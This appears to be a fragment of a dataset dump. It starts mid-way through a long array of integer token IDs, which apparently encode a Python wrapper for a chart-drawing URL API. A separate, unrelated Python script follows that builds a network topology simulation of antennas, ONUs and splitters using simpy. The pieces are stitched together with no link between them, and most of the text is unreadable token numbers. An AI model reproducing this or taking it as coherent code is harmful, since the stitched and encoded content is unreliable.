220, 6070, 2099, 1276, 307, 530, 286, 269, 11, 35904, 11, 64, 198, 220, 220, 220, 220, 220, 220, 220, 6070, 3918, 1276, 307, 530, 286, 264, 11, 75, 70, 11, 7278, 198, 220, 220, 220, 220, 220, 220, 220, 262, 1334, 286, 262, 26498, 3522, 284, 262, 1948, 3918, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 69, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 257, 11, 65, 796, 26498, 58, 25, 17, 60, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 257, 287, 19203, 66, 41707, 35904, 41707, 64, 33809, 705, 33762, 2099, 1276, 307, 275, 70, 14, 66, 14, 64, 407, 4064, 82, 6, 4, 64, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 275, 287, 19203, 82, 41707, 75, 70, 41707, 7278, 33809, 705, 33762, 3918, 1276, 307, 264, 14, 75, 70, 14, 7278, 407, 4064, 82, 6, 4, 65, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 22046, 8, 6624, 513, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 3124, 62, 22046, 7, 22046, 11, 362, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 3124, 62, 22046, 7, 22046, 11, 513, 11, 20, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 69, 2171, 13, 33295, 7, 3256, 4458, 22179, 7, 8899, 7, 2536, 11, 22046, 22305, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 10706, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 27967, 257, 10706, 284, 534, 8262, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 3712, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 87, 16488, 2239, 2546, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 88, 16488, 2239, 2546, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 13664, 286, 1627, 10618, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 13664, 286, 9178, 10618, 29, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 87, 11677, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 88, 11677, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 70, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 50000, 796, 220, 3975, 7, 2536, 11, 8899, 7, 22468, 11, 22046, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 70, 20520, 796, 705, 4032, 13, 22179, 7, 2164, 2340, 737, 33491, 10786, 14202, 3256, 7061, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 3124, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3060, 257, 3124, 329, 1123, 27039, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 1279, 8043, 352, 22330, 986, 27, 8043, 299, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 1073, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 3124, 62, 22046, 7, 22046, 11, 1635, 9521, 7, 11925, 7, 22046, 22305, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 1073, 20520, 796, 705, 4032, 13, 22179, 7, 22046, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 2099, 7, 944, 11, 2099, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5345, 262, 8262, 2099, 11, 2035, 3012, 7824, 2099, 393, 3218, 1438, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 83, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 21474, 20520, 796, 2116, 13, 9122, 62, 4906, 7, 2536, 7, 4906, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 6167, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3060, 257, 2829, 6167, 284, 534, 8262, 198, 220, 220, 220, 220, 220, 220, 220, 869, 1123, 640, 329, 1123, 27039, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 75, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 17816, 21474, 20520, 6624, 705, 80, 81, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 75, 20520, 796, 705, 4458, 22179, 7, 8899, 7, 2536, 11, 22046, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 75, 20520, 796, 705, 91, 4458, 22179, 7, 8899, 7, 2536, 11, 22046, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 8177, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3060, 257, 8177, 284, 534, 8262, 198, 220, 220, 220, 220, 220, 220, 220, 869, 1123, 640, 329, 1123, 27039, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 25404, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 25404, 20520, 796, 705, 91, 4458, 22179, 7, 22046, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 8177, 62, 1930, 7, 944, 11, 1426, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2896, 500, 257, 2292, 329, 534, 8177, 284, 22265, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 25404, 79, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 1426, 287, 20978, 10619, 62, 37997, 2043, 11053, 11, 705, 20035, 8177, 2292, 25, 4064, 82, 6, 4, 1930, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 25404, 79, 20520, 796, 965, 7, 1930, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 3670, 7, 944, 11, 3670, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3060, 257, 3670, 284, 534, 8262, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 11902, 3918, 42287, 286, 262, 1296, 1279, 8043, 22330, 27, 10331, 2546, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 40834, 25, 442, 926, 11, 354, 912, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 926, 20520, 796, 3670, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 3124, 62, 22046, 7, 22046, 11, 657, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 912, 20520, 796, 705, 4032, 13, 22179, 7, 8899, 7, 2536, 11, 22046, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 628, 220, 220, 220, 825, 2546, 7, 944, 11, 9, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5345, 262, 2546, 286, 262, 8262, 11, 26498, 389, 9647, 11, 17015, 290, 460, 307, 46545, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 82, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 22046, 8, 6624, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2124, 11, 88, 796, 3975, 7, 600, 11, 22046, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2124, 11, 88, 796, 3975, 7, 600, 11, 22046, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 9122, 62, 7857, 7, 87, 11, 88, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 82, 20520, 796, 705, 4, 34350, 4, 67, 6, 4, 7, 87, 11, 88, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 198, 220, 220, 220, 825, 12852, 7, 944, 11, 9848, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5345, 262, 8262, 27039, 12852, 198, 220, 220, 220, 220, 220, 220, 220, 9848, 318, 1279, 9248, 287, 2511, 1547, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 79, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 79, 20520, 796, 705, 4, 69, 6, 4, 9248, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 2292, 796, 12852, 198, 220, 220, 220, 220, 198, 220, 220, 220, 825, 8543, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 371, 7338, 262, 8262, 4732, 290, 34197, 656, 262, 8633, 1366, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 19119, 7, 944, 13, 897, 274, 13, 13287, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 2207, 12342, 796, 14711, 12342, 7, 944, 13557, 12685, 7656, 11, 6045, 11, 2116, 13557, 25076, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 705, 354, 82, 6, 287, 2116, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 82, 20520, 796, 705, 6200, 87, 8628, 6, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2546, 796, 2116, 17816, 354, 82, 6, 4083, 35312, 10786, 87, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6818, 18896, 7, 7857, 8, 6624, 362, 11, 705, 44651, 2546, 11, 1276, 307, 287, 262, 5794, 370, 87, 39, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 9122, 62, 7857, 46491, 8899, 7, 600, 11, 7857, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 705, 21474, 6, 287, 2116, 11, 705, 2949, 8262, 2099, 5447, 11, 779, 2099, 2446, 6, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 21474, 20520, 796, 2116, 13, 9122, 62, 4906, 7, 944, 17816, 21474, 6, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 611, 19203, 1092, 6, 287, 26672, 7, 944, 13557, 19608, 292, 316, 8, 290, 2116, 13557, 19608, 292, 316, 13, 1092, 28955, 393, 2116, 13557, 19608, 292, 316, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 67, 20520, 796, 2207, 12342, 13, 268, 8189, 7, 944, 13557, 19608, 292, 316, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 407, 705, 354, 2577, 6, 287, 2116, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6818, 705, 354, 67, 6, 287, 2116, 11, 705, 1639, 1276, 423, 257, 27039, 11, 393, 779, 442, 67, 6, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13557, 9888, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6818, 2116, 17816, 354, 67, 6, 4083, 9688, 2032, 342, 10786, 83, 33809, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 1639, 1276, 779, 2420, 21004, 351, 442, 9310, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 9310, 20520, 796, 705, 4032, 13, 22179, 7, 944, 13557, 9888, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13557, 469, 78, 290, 2116, 13557, 335, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 17209, 20520, 796, 2116, 13557, 469, 78, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 335, 20520, 796, 2116, 13557, 335, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 6615, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 7278, 20520, 796, 705, 91, 4458, 22179, 7, 944, 13, 6615, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 4102, 364, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 76, 20520, 796, 705, 91, 4458, 22179, 7, 944, 13, 4102, 364, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 69, 2171, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 69, 20520, 796, 705, 91, 4458, 22179, 7, 944, 13, 69, 2171, 8, 628, 220, 220, 220, 1303, 14468, 2235, 198, 220, 220, 220, 1303, 47719, 198, 220, 220, 220, 1303, 14468, 2235, 198, 220, 220, 220, 825, 2198, 62, 7857, 7, 944, 11, 87, 11, 88, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6889, 1654, 262, 8262, 2546, 11414, 262, 5423, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 2124, 19841, 8576, 11, 705, 30916, 4025, 621, 352, 11, 830, 6, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 331, 19841, 8576, 11, 705, 23106, 4025, 621, 352, 11, 830, 6, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 2124, 9, 88, 19841, 5867, 830, 11, 705, 4965, 2122, 4025, 621, 5867, 11, 830, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 2198, 62, 4906, 7, 944, 11, 2099, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 9787, 284, 766, 611, 262, 2099, 318, 2035, 287, 24412, 47, 1546, 393, 11414, 2099, 1438, 628, 220, 220, 220, 220, 220, 220, 220, 16409, 1774, 2099, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2099, 287, 24412, 47, 1546, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 2099, 198, 220, 220, 220, 220, 220, 220, 220, 256, 11600, 796, 8633, 7, 13344, 7, 9936, 47, 1546, 11, 9936, 47, 1546, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 256, 11600, 13, 19119, 15090, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 1370, 10354, 705, 44601, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 5657, 10354, 705, 65, 14259, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 21749, 10354, 705, 79, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 574, 77, 10354, 705, 85, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 1416, 729, 10354, 705, 82, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 6335, 283, 10354, 705, 81, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 27231, 10354, 705, 19120, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 32092, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 2099, 287, 256, 11600, 11, 705, 44651, 8262, 2099, 25, 4064, 82, 6, 4, 4906, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 256, 11600, 58, 4906, 60, 628, 220, 220, 220, 1303, 14468, 4242, 198, 220, 220, 220, 1303, 34872, 1240, 40480, 198, 220, 220, 220, 1303, 14468, 4242, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 651, 3672, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 29620, 262, 1438, 286, 262, 8262, 11, 611, 340, 7160, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 1136, 10786, 354, 926, 3256, 7061, 8, 628, 220, 220, 220, 825, 651, 7890, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 16409, 262, 875, 9043, 27039, 422, 442, 67, 5772, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 43145, 25, 4162, 757, 30, 407, 772, 1654, 36899, 2499, 880, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 14711, 12342, 7, 944, 13557, 12685, 7656, 737, 12501, 1098, 7, 944, 17816, 354, 67, 6, 12962, 198, 220, 220, 220, 220, 198, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 19016, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 16409, 262, 15111, 10289, 286, 262, 8262, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 13287, 3419, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 15042, 6371, 1343, 705, 5, 4458, 22179, 7, 944, 13557, 42632, 3419, 737, 33491, 10786, 705, 4032, 10, 11537, 628, 198, 220, 220, 220, 825, 905, 7, 944, 11, 1635, 22046, 11, 12429, 46265, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 25156, 262, 8262, 10289, 287, 257, 3992, 40259, 628, 220, 220, 220, 220, 220, 220, 220, 3819, 7159, 3804, 284, 3992, 40259, 13, 9654, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 422, 3992, 40259, 1330, 1280, 355, 3992, 9654, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 3992, 9654, 7, 2536, 7, 944, 828, 1635, 22046, 11, 12429, 46265, 22046, 8, 628, 220, 220, 220, 825, 3613, 7, 944, 11, 277, 3672, 28, 14202, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 10472, 262, 8262, 422, 262, 10289, 656, 257, 29472, 355, 257, 36182, 628, 220, 220, 220, 220, 220, 220, 220, 383, 29472, 26235, 284, 262, 8262, 3670, 357, 354, 926, 8, 611, 597, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 277, 3672, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 3672, 796, 2116, 13, 1136, 3672, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 277, 3672, 14512, 6045, 11, 705, 1639, 1276, 11986, 257, 29472, 284, 3613, 284, 6, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 277, 3672, 13, 437, 2032, 342, 7, 4458, 11134, 6, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 3672, 15853, 45302, 11134, 6, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 19016, 1186, 30227, 7, 944, 13, 6371, 11, 277, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 35528, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 24418, 12331, 10786, 40781, 8914, 4064, 82, 284, 2393, 6, 4, 69, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 277, 3672, 628, 220, 220, 220, 825, 33705, 7, 944, 11, 12429, 46265, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 220, 198, 220, 220, 220, 220, 220, 220, 220, 16409, 281, 1395, 28656, 1279, 9600, 15913, 7621, 286, 262, 8262, 628, 220, 220, 220, 220, 220, 220, 220, 479, 86, 22046, 460, 307, 584, 33705, 7621, 12608, 11, 543, 389, 14084, 20326, 198, 220, 220, 220, 220, 220, 220, 220, 3544, 7646, 25071, 319, 262, 19016, 11, 3306, 329, 1774, 1395, 28656, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 3338, 796, 705, 10677, 2625, 4, 82, 1, 705, 4064, 2116, 13, 6371, 13, 33491, 10786, 5, 41707, 5, 696, 26, 27691, 33491, 10786, 27, 3256, 705, 5, 2528, 26, 11537, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 764, 33491, 10786, 29, 3256, 705, 5, 13655, 26, 27691, 33491, 10786, 1, 3256, 705, 5, 421, 313, 26, 27691, 33491, 7, 24018, 1600, 705, 5, 2, 2670, 26, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 329, 2378, 287, 479, 86, 22046, 13, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 407, 2378, 58, 15, 60, 287, 8959, 38, 1404, 5446, 50, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 3460, 4163, 12331, 10786, 44651, 33705, 7621, 11688, 25, 4064, 82, 6, 4, 9186, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3338, 15853, 705, 4, 82, 2625, 4, 82, 1, 705, 4, 9186, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 705, 27, 9600, 4064, 82, 15913, 6, 4, 21230, 628, 220, 220, 220, 825, 19016, 9654, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1902, 8937, 31744, 36182, 2393, 17562, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 43089, 796, 19390, 7, 2536, 7, 944, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 19016, 9654, 7, 42180, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 14626, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 4798, 10786, 464, 4382, 3521, 43054, 83, 14658, 262, 2581, 2637, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 37902, 2538, 81, 1472, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 4798, 10786, 1135, 4054, 284, 3151, 257, 4382, 2637, 8, 628, 220, 220, 220, 825, 2939, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 16409, 257, 350, 782, 5159, 8979, 4554, 286, 262, 8262, 628, 220, 220, 220, 220, 220, 220, 220, 921, 1276, 423, 350, 4146, 6589, 329, 428, 284, 670, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1330, 7412, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 17267, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 422, 350, 4146, 1330, 7412, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 17267, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 17267, 12331, 10786, 1639, 1276, 2721, 350, 4146, 284, 21207, 2939, 5563, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 422, 269, 10100, 9399, 1330, 10903, 9399, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 17267, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 422, 10903, 9399, 1330, 10903, 9399, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 7412, 13, 9654, 7, 10100, 9399, 7, 944, 13, 6371, 9654, 22446, 961, 3419, 4008, 628, 220, 220, 220, 825, 3551, 7, 944, 11, 277, 79, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 12257, 274, 503, 36182, 2939, 1366, 287, 22716, 284, 2393, 17562, 277, 79, 628, 220, 220, 220, 220, 220, 220, 220, 277, 79, 1276, 1104, 266, 393, 266, 65, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2956, 1652, 79, 796, 2116, 13, 6371, 9654, 22446, 46428, 198, 220, 220, 220, 220, 220, 220, 220, 981, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 79, 13, 13564, 7, 333, 1652, 79, 13, 19545, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 13707, 29993, 341, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 628, 220, 220, 220, 825, 8794, 388, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 16409, 262, 3748, 25630, 16, 17910, 12894, 395, 286, 262, 8262, 10289, 5772, 3354, 628, 220, 220, 220, 220, 220, 220, 220, 922, 329, 555, 715, 37761, 986, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 13287, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 649, 62, 26270, 10786, 4458, 22179, 7, 82, 9741, 7, 944, 13557, 42632, 3419, 4008, 737, 33095, 12894, 395, 3419, 198, 198, 2, 2735, 257, 2187, 2085, 286, 15607, 6097, 198, 2, 1635, 1640, 883, 286, 514, 508, 17666, 2740, 7824, 9, 628, 198, 29113, 7804, 198, 2, 2735, 329, 1223, 3190, 1180, 198, 29113, 7804, 198 ]
2.129214
9,047
import sim # seed sim.random.seed(13) # environment env = sim.simpy.Environment() # writer # packet_w = Writer("packet_", start="# id src init_time waited_time freq processed_time\n") # default values sim.tg_default_size = lambda x: 5000 sim.tg_default_dist = lambda x: 1 sim.ONU_consumption = lambda x: 15 sim.PN_consumption = lambda x: 25 sim.Ant_consumption = lambda x: 7 sim.DBA_IPACT_default_bandwidth = 5000 # constants # topology antenas = 3 onus = 2 pns = 2 splts = 1 max_freqs = 10 matrix = [ [0,3,10000], [1,3,9000], [2,4,13000], [3,5,500], [4,7,25000], [5,7,23000], [7,6,8000] ] # nodes nodes = sim.create_topology(env, antenas, onus, pns, splts, matrix, max_freqs) # rules nodes[5].end() # node 5 starts offline nodes[0].end() # antenna 0 starts offline nodes[1].end() # antenna 1 starts offline print(nodes[3], "enabled:", nodes[3].enabled) nodes[3].end() # onu 0 starts offline print(nodes[3], "enabled:", nodes[3].enabled) print("Begin.") 